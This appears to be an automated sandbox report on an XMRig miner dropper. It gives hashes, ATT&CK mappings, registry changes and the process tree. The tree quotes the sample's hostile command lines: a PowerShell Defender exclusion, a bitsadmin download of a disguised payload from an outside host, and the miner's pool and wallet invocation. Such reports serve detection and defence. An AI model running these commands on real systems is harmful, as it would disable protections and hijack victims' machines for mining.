xmrig | 8c7c91623a101b7607bf30acb8f6794411f366c538ba807687aaefba831754f4

General

Target

ICBM.exe
Size

2.4MB
MD5

3dfd4a0c8e6c5568c338777ccc6fc37e
SHA1

58ad52f683e605c371fbe493b077b4c3ebbe24e2
SHA256

8c7c91623a101b7607bf30acb8f6794411f366c538ba807687aaefba831754f4
SHA512

9a7b47107bbfbaa0a1e1377a35d5b9caf448ca1645a0c51807d81327ec5d6a5eb7c7b606ba54abbcfc2677c2ea7a414176ec26eda584a71b30c68330e64204b6
SSDEEP

49152:g5B1OWKqu3Keth/qx5yzjTv9u1KRrbY2mdBO0XRlh1:A/UytDdT1

Score

10^/10

xmrig dropper evasion execution miner trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

ICBM.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection = "1"	ICBM.exe
Key created	\Registry\Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	ICBM.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Windows\System32\msvchost.exe	family_xmrig
C:\Windows\System32\msvchost.exe	xmrig

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3156 powershell.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

3000 bitsadmin.exe
Executes dropped EXE 1 IoCs

Processes:

msvchost.exe

pid process

3964 msvchost.exe

pid	process
3156	powershell.exe

pid	process
3000	bitsadmin.exe

pid	process
3964	msvchost.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.exeICBM.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\System32\msvchost.exe	ICBM.exe
File opened for modification	C:\Windows\System32\WinRing0x64.sys	ICBM.exe

Drops file in Windows directory 2 IoCs

Processes:

ICBM.exe

description	ioc	process
File opened for modification	C:\Windows\SystemTemp\delete_clsids.ps1	ICBM.exe
File opened for modification	C:\Windows\SystemTemp\run_obfuscated_powershell.ps1	ICBM.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

3512 sc.exe

pid	process
3512	sc.exe

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3156 powershell.exe
3156 powershell.exe

pid	process
3156	powershell.exe
3156	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

Processes:

ICBM.exepowershell.exemsvchost.exe

description	pid	process
Token: SeAssignPrimaryTokenPrivilege	1016	ICBM.exe
Token: SeLoadDriverPrivilege	1016	ICBM.exe
Token: SeSystemEnvironmentPrivilege	1016	ICBM.exe
Token: SeTakeOwnershipPrivilege	1016	ICBM.exe
Token: SeDebugPrivilege	1016	ICBM.exe
Token: SeTcbPrivilege	1016	ICBM.exe
Token: SeIncreaseQuotaPrivilege	1016	ICBM.exe
Token: SeSecurityPrivilege	1016	ICBM.exe
Token: SeSystemtimePrivilege	1016	ICBM.exe
Token: SeBackupPrivilege	1016	ICBM.exe
Token: SeRestorePrivilege	1016	ICBM.exe
Token: SeShutdownPrivilege	1016	ICBM.exe
Token: SeUndockPrivilege	1016	ICBM.exe
Token: SeManageVolumePrivilege	1016	ICBM.exe
Token: SeCreateTokenPrivilege	1016	ICBM.exe
Token: SeCreateTokenPrivilege	1016	ICBM.exe
Token: 31	1016	ICBM.exe
Token: SeProfSingleProcessPrivilege	1016	ICBM.exe
Token: 36	1016	ICBM.exe
Token: SeSystemProfilePrivilege	1016	ICBM.exe
Token: SeIncBasePriorityPrivilege	1016	ICBM.exe
Token: SeLockMemoryPrivilege	1016	ICBM.exe
Token: SeCreatePagefilePrivilege	1016	ICBM.exe
Token: SeAuditPrivilege	1016	ICBM.exe
Token: SeCreatePermanentPrivilege	1016	ICBM.exe
Token: SeCreateGlobalPrivilege	1016	ICBM.exe
Token: SeDebugPrivilege	3156	powershell.exe
Token: SeLockMemoryPrivilege	3964	msvchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

msvchost.exe

pid process

3964 msvchost.exe

pid	process
3964	msvchost.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

ICBM.exeICBM.exe

description	pid	process	target process
PID 4028 wrote to memory of 3512	4028	ICBM.exe	sc.exe
PID 4028 wrote to memory of 3512	4028	ICBM.exe	sc.exe
PID 1016 wrote to memory of 3156	1016	ICBM.exe	powershell.exe
PID 1016 wrote to memory of 3156	1016	ICBM.exe	powershell.exe
PID 1016 wrote to memory of 3000	1016	ICBM.exe	bitsadmin.exe
PID 1016 wrote to memory of 3000	1016	ICBM.exe	bitsadmin.exe
PID 1016 wrote to memory of 4292	1016	ICBM.exe	cmd.exe
PID 1016 wrote to memory of 4292	1016	ICBM.exe	cmd.exe
PID 1016 wrote to memory of 3964	1016	ICBM.exe	msvchost.exe
PID 1016 wrote to memory of 3964	1016	ICBM.exe	msvchost.exe

C:\Users\Admin\AppData\Local\Temp\ICBM.exe
"C:\Users\Admin\AppData\Local\Temp\ICBM.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4028

C:\Windows\system32\sc.exe
"sc" start my_system_service
2⤵
- Launches sc.exe
PID:3512

C:\Users\Admin\AppData\Local\Temp\ICBM.exe
C:\Users\Admin\AppData\Local\Temp\ICBM.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath \"C:\Windows\SystemTemp\delete_clsids.ps1\""
2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3156

C:\Windows\system32\bitsadmin.exe
"bitsadmin" /transfer Explorers /download /priority FOREGROUND https://dl.imgdrop.io/file/aed8b140-8472-4813-922b-7ce35ef93c9e/2024/10/31/packedcar47c3772120423724.png C:\Windows\img.png
2⤵
- Download via BitsAdmin
PID:3000

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe
2⤵
PID:4292

C:\Windows\System32\msvchost.exe
C:\Windows\System32\msvchost.exe -o xmr-eu2.nanopool.org:14433 -u 49QjJy47SU1MGFX7Rep7TQUkGUvvTRqSx4HhzqBgMNwtRvxsXMd98sFZLULDV61ncxVr5kazj9asqctBxy6hWm462wGcBQT --tls --coin monero
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

BITS Jobs

1

T1197

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

BITS Jobs

1

T1197

Impair Defenses

1

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\IT\service_log.txt

Filesize
469B

MD5
bd9bc54eaa4ca999367eb47deab19396

SHA1
555891baa37964aa62177ee32c8c75d4d0e260e7

SHA256
a08bdb08d0cd849e6fe18f71f07a07fcce4fefa461100a577219a40bec06748a

SHA512
5a0083025cd09f56ab9c2847b6f4388f2ebae4c8263e174e8ae2252ba792c3e2295be84a7701e0b339bf2f2f46ec9230de4bb400fbeabf30044428f4fbab6cbb

Download Submit
C:\Windows\System32\msvchost.exe

Filesize
6.1MB

MD5
7ccbc7378579b787a08a3b7e88474ac7

SHA1
63abca64118e7f0b32c3165e442e53143a5679e0

SHA256
b58481853cf26dccde549d444ced515f9335415c3bd7ff63abbd49906ebe4b78

SHA512
3a9cbcf489eea8f438fc04fc5f714d35659cf089e814cda51e7b778d4bc10c6e72deb04603cf3b20fe7c7295b0fb82c75f8c4b922535fcd3c69072bd8b7a7596

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_bgqn0w5e.lbl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3156-27-0x00000269C3D20000-0x00000269C3D2A000-memory.dmp

Filesize
40KB

Download
memory/3156-29-0x00000269DBED0000-0x00000269DBEDA000-memory.dmp

Filesize
40KB

Download
memory/3156-13-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/3156-24-0x00000269DEB80000-0x00000269DEC35000-memory.dmp

Filesize
724KB

Download
memory/3156-25-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/3156-23-0x00000269DBEB0000-0x00000269DBECC000-memory.dmp

Filesize
112KB

Download
memory/3156-26-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/3156-9-0x00000269DBEE0000-0x00000269DBF02000-memory.dmp

Filesize
136KB

Download
memory/3156-28-0x00000269DEDA0000-0x00000269DEDBC000-memory.dmp

Filesize
112KB

Download
memory/3156-12-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/3156-30-0x00000269DEDC0000-0x00000269DEDDA000-memory.dmp

Filesize
104KB

Download
memory/3156-31-0x00000269DED80000-0x00000269DED88000-memory.dmp

Filesize
32KB

Download
memory/3156-32-0x00000269DED90000-0x00000269DED96000-memory.dmp

Filesize
24KB

Download
memory/3156-33-0x00000269DEDE0000-0x00000269DEDEA000-memory.dmp

Filesize
40KB

Download
memory/3156-34-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/3156-37-0x00007FFD50680000-0x00007FFD51141000-memory.dmp

Filesize
10.8MB

Download
memory/3156-1-0x00007FFD50683000-0x00007FFD50685000-memory.dmp

Filesize
8KB

Download
memory/3964-46-0x000001FAF62A0000-0x000001FAF62C0000-memory.dmp

Filesize
128KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads